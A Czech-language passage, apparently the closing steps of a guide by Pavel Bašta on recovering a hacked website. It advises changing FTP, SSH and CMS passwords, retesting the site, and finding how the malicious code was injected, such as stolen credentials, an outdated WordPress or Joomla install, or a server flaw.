5.Změňte všechna hesla, která mají nějaký vztah k napadenému webu. Hesla k FTP, SSH, heslo admina aplikace (WordPress, Joomla) atd.
6. Například pomocí již zmiňovaného on-line nástroje zkuste otestovat, zda je Váš web již skutečně v pořádku. Posledním krokem je pak nalezení způsobu, kterým byl kód do stránky vložen. Nejčastějšími příčinami jsou již zmiňovaná krádež hesel pomocí viru na počítači správce webu, dále se může jednat o zastaralou verzi CMS, například WordPress, Joomla a další. Může se jednat také o zranitelnost samotného serveru, na kterém webové stránky běží.
Rozhodně radíme tento problém nepodceňovat, protože na vložené stránce se mohou vyskytovat skripty, které mohou uživateli stáhnout do počítače nebezpečné soubory, či například hledat zranitelnosti používaného prohlížeče.
Pavel Bašta














